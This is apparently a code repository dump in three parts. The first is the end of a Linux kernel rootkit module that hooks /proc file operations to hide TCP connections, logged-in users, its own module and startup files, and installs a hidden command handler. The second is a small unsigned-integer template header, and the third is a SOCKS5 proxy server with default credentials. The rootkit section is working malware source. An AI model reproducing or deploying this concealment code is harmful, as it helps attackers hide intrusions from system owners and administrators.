0, 0) 562 | tinode = inode_data.inode; 563 | #endif 564 | if(!tinode) 565 | return; 566 | tcp_fops = *tinode->i_fop; 567 | tcp_proc_original = tinode->i_fop; 568 | tcp_fops.read = do_read_tcp; 569 | tinode->i_fop = &tcp_fops; 570 | } 571 | 572 | void init_users_hide_hook(struct proc_dir_entry *root) { 573 | // search for utmp's inode 574 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 575 | struct nameidata inode_data; 576 | if(path_lookup("/var/run/utmp", 0, &inode_data)) 577 | return; 578 | #else 579 | struct path p; 580 | if(kern_path("/var/run/utmp", 0, &p)) 581 | return; 582 | uinode = p.dentry->d_inode; 583 | #endif 584 | 585 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 33) 586 | uinode = inode_data.path.dentry->d_inode; 587 | #elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 588 | uinode = inode_data.inode; 589 | #endif 590 | 591 | if(!uinode) 592 | return; 593 | user_fops = *uinode->i_fop; 594 | user_proc_original = uinode->i_fop; 595 | user_fops.read = do_read_users; 596 | uinode->i_fop = &user_fops; 597 | } 598 | 599 | void init_hide_rc(void) { 600 | // search for rc's inode 601 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 602 | struct nameidata inode_data; 603 | if(path_lookup(rc_dir, 0, &inode_data)) 604 | return; 605 | #else 606 | struct path p; 607 | if(kern_path(rc_dir, 0, &p)) 608 | return; 609 | rcinode = p.dentry->d_inode; 610 | #endif 611 | 612 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 33) 613 | rcinode = inode_data.path.dentry->d_inode; 614 | #elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 615 | rcinode = inode_data.inode; 616 | #endif 617 | 618 | if(!rcinode) 619 | return; 620 | // hook rc's readdir 621 | rc_fops = *rcinode->i_fop; 622 | rc_proc_original = rcinode->i_fop; 623 | rc_fops.readdir = do_readdir_rc; 624 | rcinode->i_fop = &rc_fops; 625 | } 626 | 627 | void init_hide_mod(void) { 628 | // search for rc's inode 629 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 630 | struct nameidata inode_data; 631 | if(path_lookup(mod_dir, 0, &inode_data)) 632 | return; 633 | #else 634 | struct path p; 635 | if(kern_path(mod_dir, 0, &p)) 636 | return; 637 | modinode = p.dentry->d_inode; 638 | #endif 639 | 640 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 33) 641 | modinode = inode_data.path.dentry->d_inode; 642 | #elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 0, 0) 643 | modinode = inode_data.inode; 644 | #endif 645 | 646 | if(!modinode) 647 | return; 648 | // hook rc's readdir 649 | mod_fops = *modinode->i_fop; 650 | mod_proc_original = modinode->i_fop; 651 | mod_fops.readdir = do_readdir_mod; 652 | modinode->i_fop = &mod_fops; 653 | } 654 | 655 | static int __init module_init_proc(void) { 656 | static struct file_operations fileops_struct = {0}; 657 | struct proc_dir_entry *new_proc; 658 | // dummy to get proc_dir_entry of /proc 659 | if(rc_name && rc_dir) 660 | init_hide_rc(); 661 | if(mod_name && mod_dir) 662 | init_hide_mod(); 663 | new_proc = proc_create("dummy", 0644, 0, &fileops_struct); 664 | root = new_proc->parent; 665 | 666 | init_tcp_hide_hook(root); 667 | init_module_hide_hook(root); 668 | init_users_hide_hook(root); 669 | 670 | hook_proc(root); 671 | 672 | // install the handler to wait for orders... 673 | install_handler(root); 674 | 675 | // i't no longer required. 676 | remove_proc_entry("dummy", 0); 677 | return 0; 678 | } 679 | 680 | 681 | static void module_exit_proc(void) { 682 | if(proc_original) 683 | pinode->i_fop = proc_original; 684 | if(tcp_proc_original) 685 | tinode->i_fop = tcp_proc_original; 686 | if(user_proc_original) 687 | uinode->i_fop = user_proc_original; 688 | if(rc_proc_original) 689 | rcinode->i_fop = rc_proc_original; 690 | if(mod_proc_original) 691 | modinode->i_fop = mod_proc_original; 692 | show_module(); 693 | if(handler_original) { 694 | handler->proc_fops = handler_original; 695 | handler->mode &= (~S_IWUGO); 696 | } 697 | } 698 | 699 | module_init(module_init_proc); 700 | module_exit(module_exit_proc); 701 | 702 | MODULE_LICENSE("GPL"); 703 | 704 | 705 | 706 | -------------------------------------------------------------------------------- /small_uint/small_uint.h: -------------------------------------------------------------------------------- 1 | // This program is free software; you can redistribute it and/or modify 2 | // it under the terms of the GNU General Public License as published by 3 | // the Free Software Foundation; either version 2 of the License, or 4 | // (at your option) any later version. 5 | // 6 | // This program is distributed in the hope that it will be useful, 7 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 8 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 9 | // GNU General Public License for more details. 10 | // 11 | // You should have received a copy of the GNU General Public License 12 | // along with this program; if not, write to the Free Software 13 | // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 14 | // MA 02110-1301, USA. 15 | // 16 | // Author: Matías Fontanini 17 | // Contact: matias.fontanini@gmail.com 18 | 19 | #ifndef SMALL_UINT_H 20 | #define SMALL_UINT_H 21 | 22 | #include 23 | #include 24 | 25 | template 26 | class small_uint { 27 | private: 28 | template 29 | struct if_then_else { 30 | typedef OnTrue type; 31 | }; 32 | 33 | template 34 | struct if_then_else { 35 | typedef OnFalse type; 36 | }; 37 | 38 | template 39 | struct best_type { 40 | typedef typename if_then_else< 41 | (i <= 8), 42 | uint8_t, 43 | typename if_then_else< 44 | (i <= 16), 45 | uint16_t, 46 | typename if_then_else< 47 | (i <= 32), 48 | uint32_t, 49 | uint64_t 50 | >::type 51 | >::type 52 | >::type type; 53 | }; 54 | 55 | template 56 | struct power { 57 | static const uint64_t value = base * power::value; 58 | }; 59 | 60 | template 61 | struct power { 62 | static const uint64_t value = 1; 63 | }; 64 | public: 65 | typedef typename best_type::type repr_type; 66 | static const repr_type max_value = power<2, n>::value - 1; 67 | 68 | small_uint() : value() {} 69 | 70 | small_uint(repr_type val) { 71 | if(val > max_value) 72 | throw std::runtime_error("Value is too large"); 73 | value = val; 74 | } 75 | 76 | operator repr_type() const { 77 | return value; 78 | } 79 | private: 80 | repr_type value; 81 | }; 82 | 83 | template 84 | bool operator==(const small_uint &lhs, const small_uint &rhs) { 85 | return lhs.value == rhs.value; 86 | } 87 | 88 | template 89 | bool operator!=(const small_uint &lhs, const small_uint &rhs) { 90 | return !(lhs == rhs); 91 | } 92 | 93 | #endif // SMALL_UINT_H 94 | -------------------------------------------------------------------------------- /socks5/socks5.cpp: -------------------------------------------------------------------------------- 1 | // This program is free software; you can redistribute it and/or modify 2 | // it under the terms of the GNU General Public License as published by 3 | // the Free Software Foundation; either version 2 of the License, or 4 | // (at your option) any later version. 5 | // 6 | // This program is distributed in the hope that it will be useful, 7 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 8 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 9 | // GNU General Public License for more details. 10 | // 11 | // You should have received a copy of the GNU General Public License 12 | // along with this program; if not, write to the Free Software 13 | // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 14 | // MA 02110-1301, USA. 15 | // 16 | // Author: Matías Fontanini 17 | // Contact: matias.fontanini@gmail.com 18 | 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #include 32 | 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #ifndef SERVER_PORT 41 | #define SERVER_PORT 5555 42 | #endif 43 | #define MAXPENDING 200 44 | #define BUF_SIZE 256 45 | #ifndef USERNAME 46 | #define USERNAME "username" 47 | #endif 48 | #ifndef PASSWORD 49 | #define PASSWORD "password" 50 | #endif 51 | 52 | 53 | using namespace std; 54 | 55 | 56 | /* Command constants */ 57 | #define CMD_CONNECT 1 58 | #define CMD_BIND 2 59 | #define CMD_UDP_ASSOCIATIVE 3 60 | 61 | /* Address type constants */ 62 | #define ATYP_IPV4 1 63 | #define ATYP_DNAME 3 64 | #define ATYP_IPV6 4 65 | 66 | /* Connection methods */ 67 | #define METHOD_NOAUTH 0 68 | #define METHOD_AUTH 2 69 | #define METHOD_NOTAVAILABLE 0xff 70 | 71 | /* Responses */ 72 | #define RESP_SUCCEDED 0 73 | #define RESP_GEN_ERROR 1 74 | 75 | 76 | /* Handshake */ 77 | 78 | struct MethodIdentificationPacket { 79 | uint8_t version, nmethods; 80 | /* uint8_t methods[nmethods]; */ 81 | } __attribute__((packed)); 82 | 83 | struct MethodSelectionPacket { 84 | uint8_t version, method; 85 | MethodSelectionPacket(uint8_t met) : version(5), method(met) {} 86 | } __attribute__((packed)); 87 | 88 | 89 | /* Requests */ 90 | 91 | struct SOCKS5RequestHeader { 92 | uint8_t version, cmd, rsv /* = 0x00 */, atyp; 93 | } __attribute__((packed)); 94 | 95 | struct SOCK5IP4RequestBody { 96 | uint32_t ip_dst; 97 | uint16_t port; 98 | } __attribute__((packed)); 99 | 100 | struct SOCK5DNameRequestBody { 101 | uint8_t length; 102 | /* uint8_t dname[length]; */ 103 | } __attribute__((packed)); 104 | 105 | 106 | /* Responses */ 107 | 108 | struct SOCKS5Response { 109 | uint8_t version, cmd, rsv /* = 0x00 */, atyp; 110 | uint32_t ip_src; 111 | uint16_t port_src; 112 | 113 | SOCKS5Response(bool succeded = true) : version(5), cmd(succeded ? RESP_SUCCEDED : RESP_GEN_ERROR), rsv(0), atyp(ATYP_IPV4) { } 114 | } __attribute__((packed)); 115 | 116 | 117 | class Lock { 118 | pthread_mutex_t mutex; 119 | public: 120 | Lock() { 121 | pthread_mutex_init(&mutex, NULL); 122 | } 123 | 124 | ~Lock() { 125 | pthread_mutex_destroy(&mutex); 126 | } 127 | 128 | inline void lock() { 129 | pthread_mutex_lock(&mutex); 130 | } 131 | 132 | inline void unlock() { 133 | pthread_mutex_unlock(&mutex); 134 | } 135 | }; 136 | 137 | class Event { 138 | pthread_mutex_t mutex; 139 | pthread_cond_t condition; 140 | public: 141 | Event() { 142 | pthread_mutex_init(&mutex, 0); 143 | pthread_cond_init(&condition, 0); 144 | } 145 | 146 | ~Event() { 147 | pthread_mutex_destroy(&mutex); 148 | pthread_cond_destroy(&condition); 149 | } 150 | 151 | inline void lock() { 152 | pthread_mutex_lock(&mutex); 153 | } 154 | 155 | inline void unlock() { 156 | pthread_mutex_unlock(&mutex); 157 | } 158 | 159 | inline void signal() { 160 | pthread_cond_signal(&condition); 161 | } 162 | 163 | inline void broadcastSignal() { 164 | pthread_cond_broadcast(&condition); 165 | } 166 | 167 | inline void wait(){ 168 | pthread_cond_wait(&condition, &mutex); 169 | } 170 | }; 171 | 172 | 173 | Lock get_host_lock; 174 | Event client_lock; 175 | uint32_t client_count = 0, max_clients = 10; 176 | 177 | void sig_handler(int signum) { 178 | 179 | } 180 | 181 | int create_listen_socket(struct sockaddr_in &echoclient) { 182 | int serversock; 183 | struct sockaddr_in echoserver; 184 | /* Create the TCP socket */ 185 | if ((serversock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { 186 | cout << "[-] Could not create socket.\n"; 187 | return -1; 188 | } 189 | /* Construct the server sockaddr_in structure */ 190 | memset(&echoserver, 0, sizeof(echoserver)); /* Clear struct */ 191 | echoserver.sin_family = AF_INET; /* Internet/IP */ 192 | echoserver.sin_addr.s_addr = htonl(INADDR_ANY); /* Incoming addr */ 193 | echoserver.sin_port = htons(SERVER_PORT); /* server port */ 194 | /* Bind the server socket */ 195 | if (bind(serversock, (struct sockaddr *) &echoserver, sizeof(echoserver)) < 0) { 196 | cout << "[-] Bind error.\n"; 197 | return -1; 198 | } 199 | /* Listen on the server socket */ 200 | if (listen(serversock, MAXPENDING) < 0) { 201 | cout << "[-] Listen error.\n"; 202 | return -1; 203 | } 204 | return serversock; 205 | } 206 | 207 | int recv_sock(int sock, char *buffer, uint32_t size) { 208 | int index = 0, ret; 209 | while(size) { 210 | if((ret = recv(sock, &buffer[index], size, 0)) <= 0) 211 | return (!ret) ? index : -1; 212 | index += ret; 213 | size -= ret; 214 | } 215 | return index; 216 | } 217 | 218 | int send_sock(int sock, const char *buffer, uint32_t size) { 219 | int index = 0, ret; 220 | while(size) { 221 | if((ret = send(sock, &buffer[index], size, 0)) <= 0) 222 | return (!ret) ? index : -1; 223 | index += ret; 224 | size -= ret; 225 | } 226 | return index; 227 | } 228 | 229 | string int_to_str(uint32_t ip) { 230 | ostringstream oss; 231 | for (unsigned i=0; i<4; i++) { 232 | oss << ((ip >> (i*8) ) & 0xFF); 233 | if(i != 3) 234 | oss << '.'; 235 | } 236 | return oss.str(); 237 | } 238 | 239 | int connect_to_host(uint32_t ip, uint16_t port) { 240 | struct sockaddr_in serv_addr; 241 | struct hostent *server; 242 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 243 | if (sockfd < 0) 244 | return -1; 245 | bzero((char *) &serv_addr, sizeof(serv_addr)); 246 | serv_addr.sin_family = AF_INET; 247 | string ip_string = int_to_str(ip); 248 | 249 | get_host_lock.lock(); 250 | server = gethostbyname(ip_string.c_str()); 251 | if(!server) { 252 | get_host_lock.unlock(); 253 | return -1; 254 | } 255 | bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); 256 | get_host_lock.unlock(); 257 | 258 | serv_addr.sin_port = htons(port); 259 | return !connect(sockfd, (const sockaddr*)&serv_addr, sizeof(serv_addr)) ? sockfd : -1; 260 | } 261 | 262 | int read_variable_string(int sock, uint8_t *buffer, uint8_t max_sz) { 263 | if(recv_sock(sock, (char*)buffer, 1) != 1 || buffer[0] > max_sz) 264 | return false; 265 | uint8_t sz = buffer[0]; 266 | if(recv_sock(sock, (char*)buffer, sz) != sz) 267 | return -1; 268 | return sz; 269 | } 270 | 271 | bool check_auth(int sock) { 272 | uint8_t buffer[128]; 273 | if(recv_sock(sock, (char*)buffer, 1) != 1 || buffer[0] != 1) 274 | return false; 275 | int sz = read_variable_string(sock, buffer, 127); 276 | if(sz == -1) 277 | return false; 278 | buffer[sz] = 0; 279 | if(strcmp((char*)buffer, USERNAME)) 280 | return false; 281 | sz = read_variable_string(sock, buffer, 127); 282 | if(sz == -1) 283 | return false; 284 | buffer[sz] = 0; 285 | if(strcmp((char*)buffer, PASSWORD)) 286 | return false; 287 | buffer[0] = 1; 288 | buffer[1] = 0; 289 | return send_sock(sock, (const char*)buffer, 2) == 2; 290 | } 291 | 292 | bool handle_handshake(int sock, char *buffer) { 293 | MethodIdentificationPacket packet; 294 | int read_size = recv_sock(sock, (char*)&packet, sizeof(MethodIdentificationPacket)); 295 | if(read_size != sizeof(MethodIdentificationPacket) || packet.version != 5) 296 | return false; 297 | if(recv_sock(sock, buffer, packet.nmethods) != packet.nmethods) 298 | return false; 299 | MethodSelectionPacket response(METHOD_NOTAVAILABLE); 300 | for(unsigned i(0); i < packet.nmethods; ++i) { 301 | #ifdef ALLOW_NO_AUTH 302 | if(buffer[i] == METHOD_NOAUTH) 303 | response.method = METHOD_NOAUTH; 304 | #endif 305 | if(buffer[i] == METHOD_AUTH) 306 | response.method = METHOD_AUTH; 307 | } 308 | if(send_sock(sock, (const char*)&response, sizeof(MethodSelectionPacket)) != sizeof(MethodSelectionPacket) || response.method == METHOD_NOTAVAILABLE) 309 | return false; 310 | return (response.method == METHOD_AUTH) ? check_auth(sock) : true; 311 | } 312 | 313 | void set_fds(int sock1, int sock2, fd_set *fds) { 314 | FD_ZERO (fds); 315 | FD_SET (sock1, fds); 316 | FD_SET (sock2, fds); 317 | } 318 | 319 | void do_proxy(int client, int conn, char *buffer) { 320 | fd_set readfds; 321 | int result, nfds = max(client, conn)+1; 322 | set_fds(client, conn, &readfds); 323 | while((result = select(nfds, &readfds, 0, 0, 0)) > 0) { 324 | if (FD_ISSET (client, &readfds)) { 325 | int recvd = recv(client, buffer, 256, 0); 326 | if(recvd <= 0) 327 | return; 328 | send_sock(conn, buffer, recvd); 329 | } 330 | if (FD_ISSET (conn, &readfds)) { 331 | int recvd = recv(conn, buffer, 256, 0); 332 | if(recvd <= 0) 333 | return; 334 | send_sock(client, buffer, recvd); 335 | } 336 | set_fds(client, conn, &readfds); 337 | } 338 | } 339 | 340 | bool handle_request(int sock, char *buffer) { 341 | SOCKS5RequestHeader header; 342 | recv_sock(sock, (char*)&header, sizeof(SOCKS5RequestHeader)); 343 | if(header.version != 5 || header.cmd != CMD_CONNECT || header.rsv != 0) 344 | return false; 345 | int client_sock = -1; 346 | switch(header.atyp) { 347 | case ATYP_IPV4: 348 | { 349 | SOCK5IP4RequestBody req; 350 | if(recv_sock(sock, (char*)&req, sizeof(SOCK5IP4RequestBody)) != sizeof(SOCK5IP4RequestBody)) 351 | return false; 352 | client_sock = connect_to_host(req.ip_dst, ntohs(req.port)); 353 | break; 354 | } 355 | case ATYP_DNAME: 356 | break; 357 | default: 358 | return false; 359 | } 360 | if(client_sock == -1) 361 | return false; 362 | SOCKS5Response response; 363 | response.ip_src = 0; 364 | response.port_src = SERVER_PORT; 365 | send_sock(sock, (const char*)&response, sizeof(SOCKS5Response)); 366 | do_proxy(client_sock, sock, buffer); 367 | shutdown(client_sock, SHUT_RDWR); 368 | close(client_sock); 369 | return true; 370 | } 371 | 372 | void *handle_connection(void *arg) { 373 | int sock = (uint64_t)arg; 374 | char *buffer = new char[BUF_SIZE]; 375 | if(handle_handshake(sock, buffer)) 376 | handle_request(sock, buffer); 377 | shutdown(sock, SHUT_RDWR); 378 | close(sock); 379 | delete[] buffer; 380 | client_lock.lock(); 381 | client_count--; 382 | if(client_count == max_clients - 1) 383 | client_lock.signal(); 384 | client_lock.unlock(); 385 | return 0; 386 | } 387 | 388 | bool spawn_thread(pthread_t *thread, void *data) { 389 | pthread_attr_t attr; 390 | pthread_attr_init(&attr); 391 | pthread_attr_setstacksize(&attr, 64 * 1024); 392 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); 393 | return !pthread_create(thread, &attr, handle_connection, data); 394 | } 395 | 396 | void parse_args(int argc, char *argv[]) { 397 | if(argc == 2) 398 | max_clients = atoi(argv[1]); 399 | } 400 | 401 | int main(int argc, char *argv[]) { 402 | struct sockaddr_in echoclient; 403 | int listen_sock = create_listen_socket(echoclient); 404 | if(listen_sock == -1) { 405 | cout << "[-] Failed to create server\n"; 406 | return 1; 407 | } 408 | parse_args(argc, argv); 409 | signal(SIGPIPE, sig_handler); 410 | while(true) { 411 | uint32_t clientlen = sizeof(echoclient); 412 | int clientsock; 413 | client_lock.lock(); 414 | if(client_count == max_clients) 415 | client_lock.wait(); 416 | client_lock.unlock(); 417 | if ((clientsock = accept(listen_sock, (struct sockaddr *) &echoclient, &clientlen)) > 0) { 418 | client_lock.lock(); 419 | client_count++; 420 | client_lock.unlock(); 421 | pthread_t thread; 422 | spawn_thread(&thread, (void*)clientsock); 423 | } 424 | } 425 | } 426 | 427 | --------------------------------------------------------------------------------